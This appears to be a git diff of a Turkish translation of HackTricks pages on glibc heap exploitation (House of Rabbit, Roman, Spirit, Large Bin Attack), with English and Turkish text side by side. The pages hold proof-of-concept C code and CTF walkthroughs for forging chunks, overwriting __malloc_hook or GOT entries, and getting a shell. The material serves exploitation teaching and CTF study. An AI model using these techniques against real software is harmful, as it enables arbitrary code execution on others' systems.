6. **Sahte \_IO_FILE yapısını kurun**: Kontrol akışını ele geçirmek için sahte bir dosya yapısı oluşturun.
7. **Kod yürütmesini tetikleyin**: Saldırıyı gerçekleştirmek ve keyfi kodu çalıştırmak için bir parça tahsis edin.
This approach exploits heap management mechanisms, libc information leaks, and heap overflows to achieve code execution without directly calling `free`. By carefully crafting the fake **\_IO_FILE** structure and placing it in the right location, the attack can hijack the control flow during standard memory allocation operations. This enables the execution of arbitrary code, potentially resulting in a shell or other malicious activities.
Bu yaklaşım, kod yürütmesini elde etmek için heap yönetim mekanizmalarını, libc bilgi sızıntılarını ve heap taşmalarını sömürmektedir. Sahte **\_IO_FILE** yapısını dikkatlice oluşturarak ve doğru konuma yerleştirerek, saldırı standart bellek tahsis işlemleri sırasında kontrol akışını ele geçirebilir. Bu, keyfi kodun yürütülmesini sağlar ve potansiyel olarak bir shell veya diğer kötü niyetli faaliyetlerle sonuçlanabilir.
## References
## Referanslar
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_orange/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_orange/)
- [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)

84
src/binary-exploitation/libc-heap/house-of-rabbit.md
View File

@ -2,110 +2,92 @@
{{#include ../../banners/hacktricks-training.md}}
### Requirements
### Gereksinimler
1. **Ability to modify fast bin fd pointer or size**: This means you can change the forward pointer of a chunk in the fastbin or its size.
2. **Ability to trigger `malloc_consolidate`**: This can be done by either allocating a large chunk or merging the top chunk, which forces the heap to consolidate chunks.
1. **Hızlı bin fd işaretçisini veya boyutunu değiştirme yeteneği**: Bu, hızlı bin içindeki bir parçanın ileri işaretçisini veya boyutunu değiştirebileceğiniz anlamına gelir.
2. **`malloc_consolidate` tetikleme yeteneği**: Bu, ya büyük bir parça ayırarak ya da üst parçayı birleştirerek yapılabilir; bu, yığın parçalarını birleştirmeye zorlar.
### Goals
### Hedefler
1. **Create overlapping chunks**: To have one chunk overlap with another, allowing for further heap manipulations.
2. **Forge fake chunks**: To trick the allocator into treating a fake chunk as a legitimate chunk during heap operations.
1. **Üst üste binen parçalar oluşturma**: Bir parçanın diğerinin üstüne gelmesini sağlamak, böylece daha fazla yığın manipülasyonu yapılmasına olanak tanımak.
2. **Sahte parçalar oluşturma**: Yığın işlemleri sırasında sahte bir parçayı meşru bir parça olarak ele alması için ayırıcıyı kandırmak.
## Steps of the attack
## Saldırı Adımları
### POC 1: Modify the size of a fast bin chunk
### POC 1: Hızlı bin parça boyutunu değiştirme
**Objective**: Create an overlapping chunk by manipulating the size of a fastbin chunk.
- **Step 1: Allocate Chunks**
**Amaç**: Hızlı bin parçasının boyutunu manipüle ederek üst üste binen bir parça oluşturmak.
- **Adım 1: Parçaları Ayır**
```cpp
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10); // Allocates a small chunk to change the fastbin state
```
İki adet 0x40 baytlık parça ayırıyoruz. Bu parçalar serbest bırakıldıklarında hızlı kutu listesine yerleştirilecektir.
We allocate two chunks of 0x40 bytes each. These chunks will be placed in the fast bin list once freed.
- **Step 2: Free Chunks**
- **Adım 2: Parçaları Serbest Bırak**
```cpp
free(chunk1); // Frees the chunk at 0x602000
free(chunk2); // Frees the chunk at 0x602050
```
İki parçayı serbest bırakıyoruz ve bunları fastbin listesine ekliyoruz.
We free both chunks, adding them to the fastbin list.
- **Step 3: Modify Chunk Size**
- **Adım 3: Parça Boyutunu Değiştir**
```cpp
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
```
`chunk1`'in boyut meta verisini 0xa1 olarak değiştiriyoruz. Bu, birleştirme sırasında allocator'ı kandırmak için kritik bir adımdır.
We change the size metadata of `chunk1` to 0xa1. This is a crucial step to trick the allocator during consolidation.
- **Step 4: Trigger `malloc_consolidate`**
- **Adım 4: `malloc_consolidate`'i Tetikle**
```cpp
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
```
Büyük bir parça ayırmak, hızlı bin içindeki küçük parçaları birleştiren `malloc_consolidate` fonksiyonunu tetikler. Manipüle edilmiş `chunk1` boyutu, `chunk2` ile örtüşmesine neden olur.
Allocating a large chunk triggers the `malloc_consolidate` function, merging small chunks in the fast bin. The manipulated size of `chunk1` causes it to overlap with `chunk2`.
Konsolidasyondan sonra, `chunk1` `chunk2` ile örtüşür ve daha fazla istismar olanağı sağlar.
After consolidation, `chunk1` overlaps with `chunk2`, allowing for further exploitation.
### POC 2: `fd` işaretçisini değiştir
### POC 2: Modify the `fd` pointer
**Objective**: Create a fake chunk by manipulating the fast bin `fd` pointer.
- **Step 1: Allocate Chunks**
**Amaç**: Hızlı bin `fd` işaretçisini manipüle ederek sahte bir parça oluşturmak.
- **Adım 1: Parçaları Ayır**
```cpp
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
```
**Açıklama**: Yığın için sahte parça oluşturmak üzere bir küçük ve bir büyük iki parça ayırıyoruz.
**Explanation**: We allocate two chunks, one smaller and one larger, to set up the heap for the fake chunk.
- **Step 2: Create fake chunk**
- **Adım 2: Sahte parça oluştur**
```cpp
chunk2[1] = 0x31; // Fake chunk size 0x30
chunk2[7] = 0x21; // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
```
`chunk2` içine sahte parça meta verisi yazarak daha küçük parçaları simüle ediyoruz.
We write fake chunk metadata into `chunk2` to simulate smaller chunks.
- **Step 3: Free `chunk1`**
- **Adım 3: `chunk1`'i serbest bırak**
```cpp
free(chunk1); // Frees the chunk at 0x602000
```
**Açıklama**: `chunk1`'i serbest bırakıyoruz, hızlı listeye ekliyoruz.
**Explanation**: We free `chunk1`, adding it to the fastbin list.
- **Step 4: Modify `fd` of `chunk1`**
- **Adım 4: `chunk1`'in `fd`'sini Değiştir**
```cpp
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
```
**Açıklama**: `chunk1`'in ileri işaretçisini (`fd`) `chunk2` içindeki sahte parçamıza işaret edecek şekilde değiştiriyoruz.
**Explanation**: We change the forward pointer (`fd`) of `chunk1` to point to our fake chunk inside `chunk2`.
- **Step 5: Trigger `malloc_consolidate`**
- **Adım 5: `malloc_consolidate`'i tetikle**
```cpp
malloc(5000); // Allocate a large chunk to trigger heap consolidation
```
Büyük bir parça yeniden tahsis edildiğinde `malloc_consolidate` tetiklenir, bu da sahte parçayı işler.
Allocating a large chunk again triggers `malloc_consolidate`, which processes the fake chunk.
Sahte parça, hızlı listeye dahil olur ve bu da onu daha fazla istismar için meşru bir parça haline getirir.
The fake chunk becomes part of the fastbin list, making it a legitimate chunk for further exploitation.
### Özet
### Summary
The **House of Rabbit** technique involves either modifying the size of a fast bin chunk to create overlapping chunks or manipulating the `fd` pointer to create fake chunks. This allows attackers to forge legitimate chunks in the heap, enabling various forms of exploitation. Understanding and practicing these steps will enhance your heap exploitation skills.
**House of Rabbit** tekniği, bir hızlı parça boyutunu değiştirerek üst üste binen parçalar oluşturmayı veya sahte parçalar oluşturmak için `fd` işaretçisini manipüle etmeyi içerir. Bu, saldırganların yığında meşru parçalar oluşturmasına olanak tanır ve çeşitli istismar biçimlerini mümkün kılar. Bu adımları anlamak ve uygulamak, yığın istismar becerilerinizi geliştirecektir.
{{#include ../../banners/hacktricks-training.md}}

100
src/binary-exploitation/libc-heap/house-of-roman.md
View File

@ -2,87 +2,82 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Temel Bilgiler
This was a very interesting technique that allowed for RCE without leaks via fake fastbins, the unsorted_bin attack and relative overwrites. However it has ben [**patched**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c).
Bu, sahte fastbinler, unsorted_bin saldırısı ve göreceli yazmalar aracılığıyla sızıntı olmadan RCE'ye izin veren çok ilginç bir teknikti. Ancak bu [**yamanmıştır**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c).
### Code
### Kod
- You can find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)
- Bir örneği [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) adresinde bulabilirsiniz.
### Goal
### Hedef
- RCE by abusing relative pointers
- Göreceli işaretçileri kötüye kullanarak RCE
### Requirements
### Gereksinimler
- Edit fastbin and unsorted bin pointers
- 12 bits of randomness must be brute forced (0.02% chance) of working
- Fastbin ve unsorted bin işaretçilerini düzenleyin
- 12 bit rastgelelik zorla kırılmalıdır (çalışma olasılığı %0.02)
## Attack Steps
## Saldırı Adımları
### Part 1: Fastbin Chunk points to \_\_malloc_hook
### Bölüm 1: Fastbin Chunk \_\_malloc_hook'a işaret ediyor
Create several chunks:
Birçok chunk oluşturun:
- `fastbin_victim` (0x60, offset 0): UAF chunk later to edit the heap pointer later to point to the LibC value.
- `chunk2` (0x80, offset 0x70): For good alignment
- `fastbin_victim` (0x60, offset 0): Daha sonra heap işaretçisini LibC değerine işaret edecek şekilde düzenlemek için UAF chunk.
- `chunk2` (0x80, offset 0x70): İyi hizalama için
- `main_arena_use` (0x80, offset 0x100)
- `relative_offset_heap` (0x60, offset 0x190): relative offset on the 'main_arena_use' chunk
- `relative_offset_heap` (0x60, offset 0x190): 'main_arena_use' chunk'ındaki göreceli offset
Then `free(main_arena_use)` which will place this chunk in the unsorted list and will get a pointer to `main_arena + 0x68` in both the `fd` and `bk` pointers.
Sonra `free(main_arena_use)` yapın, bu chunk'ı unsorted liste yerleştirecek ve hem `fd` hem de `bk` işaretçelerinde `main_arena + 0x68` adresine bir işaretçi alacaktır.
Now it's allocated a new chunk `fake_libc_chunk(0x60)` because it'll contain the pointers to `main_arena + 0x68` in `fd` and `bk`.
Then `relative_offset_heap` and `fastbin_victim` are freed.
Artık `fd` ve `bk`'de `main_arena + 0x68` işaretçilerini içerecek yeni bir chunk `fake_libc_chunk(0x60)` tahsis edilmiştir.
Sonra `relative_offset_heap` ve `fastbin_victim` serbest bırakılır.
```c
/*
Current heap layout:
0x0: fastbin_victim - size 0x70
0x70: alignment_filler - size 0x90
0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68)
0x170: leftover_main - size 0x20
0x190: relative_offset_heap - size 0x70
0x0: fastbin_victim - size 0x70
0x70: alignment_filler - size 0x90
0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68)
0x170: leftover_main - size 0x20
0x190: relative_offset_heap - size 0x70
bin layout:
fastbin: fastbin_victim -> relative_offset_heap
unsorted: leftover_main
bin layout:
fastbin: fastbin_victim -> relative_offset_heap
unsorted: leftover_main
*/
```
- &#x20;`fastbin_victim` bir `fd`'ye sahiptir ve bu `relative_offset_heap`'e işaret eder.
- &#x20;`relative_offset_heap`, `main_arena + 0x68`'e işaret eden bir işaretçi içeren `fake_libc_chunk`'ten uzaklık ofsetidir.
- `fastbin_victim.fd`'nin son baytını değiştirmek, `fastbin_victim`'in `main_arena + 0x68`'e işaret etmesini sağlamak mümkündür.
- &#x20;`fastbin_victim` has a `fd` pointing to `relative_offset_heap`
- &#x20;`relative_offset_heap` is an offset of distance from `fake_libc_chunk`, which contains a pointer to `main_arena + 0x68`
- Just changing the last byte of `fastbin_victim.fd` it's possible to make `fastbin_victim points` to `main_arena + 0x68`
Önceki eylemler için, saldırganın `fastbin_victim`'in fd işaretçisini değiştirebilme yeteneğine sahip olması gerekir.
For the previous actions, the attacker needs to be capable of modifying the fd pointer of `fastbin_victim`.
Sonra, `main_arena + 0x68` o kadar ilginç değildir, bu yüzden işaretçiyi **`__malloc_hook`**'a işaret edecek şekilde değiştirelim.
Then, `main_arena + 0x68` is not that interesting, so lets modify it so the pointer points to **`__malloc_hook`**.
`__memalign_hook` genellikle `0x7f` ile başlar ve öncesinde sıfırlar bulunur, bu nedenle bunu `0x70` hızlı bin içinde bir değer olarak sahteleyebiliriz. Adresin son 4 biti **rastgele** olduğundan, ilginç olduğumuz yere işaret edecek değerin 16 olasılığı vardır: `2^4=16`. Bu nedenle burada bir BF saldırısı gerçekleştirilir, böylece parça şu şekilde sona erer: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
Note that `__memalign_hook` usually starts with `0x7f` and zeros before it, then it's possible to fake it as a value in the `0x70` fast bin. Because the last 4 bits of the address are **random** there are `2^4=16` possibilities for the value to end pointing where are interested. So a BF attack is performed here so the chunk ends like: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
(For more info about the rest of the bytes check the explanation in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). If the BF don't work the program just crashes (so start gain until it works).
Then, 2 mallocs are performed to remove the 2 initial fast bin chunks and the a third one is alloced to get a chunk in the **`__malloc_hook:`**
(Diğer baytlar hakkında daha fazla bilgi için [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ örneğine](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) bakın). BF çalışmazsa program sadece çökebilir (bu yüzden çalışana kadar tekrar başlatın).
Sonra, 2 malloc işlemi gerçekleştirilir ve 2 başlangıç hızlı bin parçası kaldırılır ve **`__malloc_hook:`**'te bir parça almak için üçüncü bir malloc yapılır.
```c
malloc(0x60);
malloc(0x60);
uint8_t* malloc_hook_chunk = malloc(0x60);
```
### Bölüm 2: Unsorted_bin saldırısı
### Part 2: Unsorted_bin attack
For more info you can check:
Daha fazla bilgi için kontrol edebilirsiniz:
{{#ref}}
unsorted-bin-attack.md
{{#endref}}
But basically it allows to write `main_arena + 0x68` to any location by specified in `chunk->bk`. And for the attack we choose `__malloc_hook`. Then, after overwriting it we will use a relative overwrite) to point to a `one_gadget`.
For this we start getting a chunk and putting it into the **unsorted bin**:
Ama temelde, `chunk->bk` içinde belirtilen herhangi bir konuma `main_arena + 0x68` yazılmasına izin verir. Ve saldırı için `__malloc_hook` seçiyoruz. Sonra, onu geçersiz kıldıktan sonra, bir `one_gadget`'e işaret etmek için göreli bir geçersiz kılma kullanacağız.
Bunun için bir chunk alarak **unsorted bin**'e koymaya başlıyoruz:
```c
uint8_t* unsorted_bin_ptr = malloc(0x80);
malloc(0x30); // Don't want to consolidate
@ -91,25 +86,24 @@ puts("Put chunk into unsorted_bin\n");
// Free the chunk to create the UAF
free(unsorted_bin_ptr);
```
Use an UAF in this chunk to point `unsorted_bin_ptr->bk` to the address of `__malloc_hook` (we brute forced this previously).
Bir UAF kullanarak `unsorted_bin_ptr->bk`'yi `__malloc_hook` adresine işaret edecek şekilde ayarlayın (bunu daha önce brute force ile bulmuştuk).
> [!CAUTION]
> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **alloc the same size or the program will crash.**
> Bu saldırının unsorted bin'i bozduğunu (dolayısıyla küçük ve büyük olanları da) unutmayın. Bu nedenle, artık yalnızca **hızlı bin'den tahsisat kullanabiliriz** (daha karmaşık bir program başka tahsisatlar yapabilir ve çökebilir) ve bunu tetiklemek için **aynı boyutta tahsisat yapmalıyız, aksi takdirde program çöker.**
So, to trigger the write of `main_arena + 0x68` in `__malloc_hook` we perform after setting `__malloc_hook` in `unsorted_bin_ptr->bk` we just need to do: **`malloc(0x80)`**
Böylece, `__malloc_hook`'de `main_arena + 0x68` yazımını tetiklemek için, `__malloc_hook`'u `unsorted_bin_ptr->bk`'de ayarladıktan sonra sadece şunu yapmamız gerekiyor: **`malloc(0x80)`**
### Step 3: Set \_\_malloc_hook to system
### Adım 3: \_\_malloc_hook'u system olarak ayarlayın
In the step one we ended controlling a chunk containing `__malloc_hook` (in the variable `malloc_hook_chunk`) and in the second step we managed to write `main_arena + 0x68` in here.
Birinci adımda `__malloc_hook`'u içeren bir chunk'ı kontrol etmeyi başardık (değişken `malloc_hook_chunk` içinde) ve ikinci adımda burada `main_arena + 0x68` yazmayı başardık.
Now, we abuse a partial overwrite in `malloc_hook_chunk` to use the libc address we wrote there(`main_arena + 0x68`) to **point a `one_gadget` address**.
Şimdi, `malloc_hook_chunk`'te kısmi bir yazma işlemi suistimal ederek oraya yazdığımız libc adresini (`main_arena + 0x68`) **bir `one_gadget` adresine işaret etmek için** kullanıyoruz.
Here is where it's needed to **bruteforce 12 bits of randomness** (more info in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)).
Burada **12 bit rastgeleliği brute force ile bulmak** gerekiyor (daha fazla bilgi için [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ örneği](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)).
Finally, one the correct address is overwritten, **call `malloc` and trigger the `one_gadget`**.
Son olarak, doğru adres yazıldığında, **`malloc` çağırın ve `one_gadget`'i tetikleyin.**
## References
## Referanslar
- [https://github.com/shellphish/how2heap](https://github.com/shellphish/how2heap)
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)

118
src/binary-exploitation/libc-heap/house-of-spirit.md
View File

@ -2,14 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Temel Bilgiler
### Code
### Kod
<details>
<summary>House of Spirit</summary>
```c
#include <unistd.h>
#include <stdlib.h>
@ -19,99 +18,96 @@
// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
struct fast_chunk {
size_t prev_size;
size_t size;
struct fast_chunk *fd;
struct fast_chunk *bk;
char buf[0x20]; // chunk falls in fastbin size range
size_t prev_size;
size_t size;
struct fast_chunk *fd;
struct fast_chunk *bk;
char buf[0x20]; // chunk falls in fastbin size range
};
int main() {
struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
void *ptr, *victim;
struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
void *ptr, *victim;
ptr = malloc(0x30);
ptr = malloc(0x30);
printf("Original alloc address: %p\n", ptr);
printf("Main fake chunk:%p\n", &fake_chunks[0]);
printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
printf("Original alloc address: %p\n", ptr);
printf("Main fake chunk:%p\n", &fake_chunks[0]);
printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
// Passes size check of "free(): invalid size"
fake_chunks[0].size = sizeof(struct fast_chunk);
// Passes size check of "free(): invalid size"
fake_chunks[0].size = sizeof(struct fast_chunk);
// Passes "free(): invalid next size (fast)"
fake_chunks[1].size = sizeof(struct fast_chunk);
// Passes "free(): invalid next size (fast)"
fake_chunks[1].size = sizeof(struct fast_chunk);
// Attacker overwrites a pointer that is about to be 'freed'
// Point to .fd as it's the start of the content of the chunk
ptr = (void *)&fake_chunks[0].fd;
// Attacker overwrites a pointer that is about to be 'freed'
// Point to .fd as it's the start of the content of the chunk
ptr = (void *)&fake_chunks[0].fd;
free(ptr);
free(ptr);
victim = malloc(0x30);
printf("Victim: %p\n", victim);
victim = malloc(0x30);
printf("Victim: %p\n", victim);
return 0;
return 0;
}
```
</details>
### Goal
### Hedef
- Be able to add into the tcache / fast bin an address so later it's possible to allocate it
- tcache / fast bin'e bir adres ekleyebilmek, böylece daha sonra onu tahsis etmek mümkün olsun.
### Requirements
### Gereksinimler
- This attack requires an attacker to be able to create a couple of fake fast chunks indicating correctly the size value of it and then to be able to free the first fake chunk so it gets into the bin.
- Bu saldırı, bir saldırganın doğru boyut değerini belirten birkaç sahte hızlı parça oluşturabilmesini ve ardından ilk sahte parçayı serbest bırakabilmesini gerektirir, böylece bu parça bin'e girebilir.
### Attack
### Saldırı
- Create fake chunks that bypasses security checks: you will need 2 fake chunks basically indicating in the correct positions the correct sizes
- Somehow manage to free the first fake chunk so it gets into the fast or tcache bin and then it's allocate it to overwrite that address
**The code from** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **is great to understand the attack.** Although this schema from the code summarises it pretty good:
- Güvenlik kontrollerini aşan sahte parçalar oluşturun: temelde doğru pozisyonlarda doğru boyutları belirten 2 sahte parçaya ihtiyacınız olacak.
- İlk sahte parçayı serbest bırakmayı başarmak, böylece fast veya tcache bin'e girmesini sağlamak ve ardından o adresi üzerine yazmak için tahsis etmek.
**[**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html)**'dan alınan kod, saldırıyı anlamak için harikadır.** Kodun bu şeması, durumu oldukça iyi özetliyor:
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64
this will be the structure of our two fake chunks:
assuming that you compiled it for x64
+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content | 0x00 |
+-------+---------------------+------+
+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content | 0x00 |
+-------+---------------------+------+
for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/
```
> [!NOTE]
> Note that it's necessary to create the second chunk in order to bypass some sanity checks.
> İkinci parçayı oluşturmanın bazı mantık kontrollerini atlamak için gerekli olduğunu unutmayın.
## Examples
## Örnekler
- **CTF** [**https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html**](https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html)
- **Libc infoleak**: Via an overflow it's possible to change a pointer to point to a GOT address in order to leak a libc address via the read action of the CTF
- **House of Spirit**: Abusing a counter that counts the number of "rifles" it's possible to generate a fake size of the first fake chunk, then abusing a "message" it's possible to fake the second size of a chunk and finally abusing an overflow it's possible to change a pointer that is going to be freed so our first fake chunk is freed. Then, we can allocate it and inside of it there is going to be the address to where "message" is stored. Then, it's possible to make this point to the `scanf` entry inside the GOT table, so we can overwrite it with the address to system.\
Next time `scanf` is called, we can send the input `"/bin/sh"` and get a shell.
- **Libc infoleak**: Bir taşma aracılığıyla, bir işaretçiyi bir GOT adresine işaret edecek şekilde değiştirmek mümkündür, böylece CTF'nin okuma eylemi aracılığıyla bir libc adresi sızdırılabilir.
- **House of Spirit**: "Tüfek" sayısını sayan bir sayacı kötüye kullanarak, ilk sahte parçanın sahte boyutunu oluşturmak mümkündür, ardından bir "mesaj"ı kötüye kullanarak bir parçanın ikinci boyutunu sahtelemek ve nihayetinde bir taşmayı kötüye kullanarak serbest bırakılacak bir işaretçiyi değiştirmek mümkündür, böylece ilk sahte parçamız serbest bırakılır. Sonra, bunu tahsis edebiliriz ve içinde "mesaj"ın saklandığı adres olacak. Ardından, bunun GOT tablosundaki `scanf` girişine işaret etmesi mümkündür, böylece bunu sistemin adresi ile üzerine yazabiliriz.\
Bir sonraki `scanf` çağrıldığında, girdi olarak `"/bin/sh"` gönderebiliriz ve bir shell alabiliriz.
- [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/)
- **Glibc leak**: Uninitialized stack buffer.
- **House of Spirit**: We can modify the first index of a global array of heap pointers. With a single byte modification, we use `free` on a fake chunk inside a valid chunk, so that we get an overlapping chunks situation after allocating again. With that, a simple Tcache poisoning attack works to get an arbitrary write primitive.
- **Glibc leak**: Başlatılmamış yığın tamponu.
- **House of Spirit**: Bir yığın işaretçileri kümesinin ilk indeksini değiştirebiliriz. Tek bir bayt değişikliği ile, geçerli bir parçanın içinde sahte bir parçayı `free` ile kullanarak, tekrar tahsis ettikten sonra üst üste binen parçalar durumu elde ederiz. Bununla, basit bir Tcache zehirleme saldırısı, keyfi bir yazma ilkesini elde etmek için çalışır.
## References
## Referanslar
- [https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit)

58
src/binary-exploitation/libc-heap/large-bin-attack.md
View File

@ -2,57 +2,55 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Temel Bilgiler
For more information about what is a large bin check this page:
Büyük bin nedir hakkında daha fazla bilgi için bu sayfayı kontrol edin:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
It's possible to find a great example in [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
[**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c) içinde harika bir örnek bulmak mümkündür.
Basically here you can see how, in the latest "current" version of glibc (2.35), it's not checked: **`P->bk_nextsize`** allowing to modify an arbitrary address with the value of a large bin chunk if certain conditions are met.
Temelde burada, glibc'nin en son "güncel" sürümünde (2.35) kontrol edilmediğini görebilirsiniz: **`P->bk_nextsize`**, belirli koşullar sağlandığında büyük bir bin parçasının değeri ile rastgele bir adresi değiştirmeye olanak tanır.
In that example you can find the following conditions:
Bu örnekte aşağıdaki koşulları bulabilirsiniz:
- A large chunk is allocated
- A large chunk smaller than the first one but in the same index is allocated
- Must be smalled so in the bin it must go first
- (A chunk to prevent merging with the top chunk is created)
- Then, the first large chunk is freed and a new chunk bigger than it is allocated -> Chunk1 goes to the large bin
- Then, the second large chunk is freed
- Now, the vulnerability: The attacker can modify `chunk1->bk_nextsize` to `[target-0x20]`
- Then, a larger chunk than chunk 2 is allocated, so chunk2 is inserted in the large bin overwriting the address `chunk1->bk_nextsize->fd_nextsize` with the address of chunk2
- Büyük bir parça tahsis edilir
- İlkinden daha küçük ama aynı indekste bir büyük parça tahsis edilir
- Bin içinde ilk gitmesi gerektiği için daha küçük olmalıdır
- (Üst parçayla birleştirmeyi önlemek için bir parça oluşturulur)
- Ardından, ilk büyük parça serbest bırakılır ve ondan daha büyük yeni bir parça tahsis edilir -> Chunk1 büyük bin'e gider
- Sonra, ikinci büyük parça serbest bırakılır
- Şimdi, zafiyet: Saldırgan `chunk1->bk_nextsize`'ı `[target-0x20]` olarak değiştirebilir
- Ardından, chunk 2'den daha büyük bir parça tahsis edilir, böylece chunk2 büyük bin'e eklenir ve `chunk1->bk_nextsize->fd_nextsize` adresini chunk2'nin adresi ile üzerine yazar
> [!TIP]
> There are other potential scenarios, the thing is to add to the large bin a chunk that is **smaller** than a current X chunk in the bin, so it need to be inserted just before it in the bin, and we need to be able to modify X's **`bk_nextsize`** as thats where the address of the smaller chunk will be written to.
This is the relevant code from malloc. Comments have been added to understand better how the address was overwritten:
> Diğer potansiyel senaryolar vardır, mesele büyük bin'e mevcut bir X parçasından **daha küçük** bir parça eklemektir, böylece bin içinde onun hemen öncesine yerleştirilmesi gerekir ve X'in **`bk_nextsize`**'ını değiştirebilmemiz gerekir çünkü daha küçük parçanın adresi buraya yazılacaktır.
Bu malloc'tan ilgili kod. Adresin nasıl üzerine yazıldığını daha iyi anlamak için yorumlar eklenmiştir:
```c
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck; // fwd = p1
bck = bck->bk; // bck = p1->bk
{
fwd = bck; // fwd = p1
bck = bck->bk; // bck = p1->bk
victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk)
victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2
}
victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk)
victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2
}
```
Bu, **libc'nin `global_max_fast` global değişkenini** geçersiz kılmak için kullanılabilir, böylece daha büyük parçalarla hızlı bin saldırısını istismar edebilirsiniz.
This could be used to **overwrite the `global_max_fast` global variable** of libc to then exploit a fast bin attack with larger chunks.
Bu saldırının başka bir harika açıklamasını [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html) adresinde bulabilirsiniz.
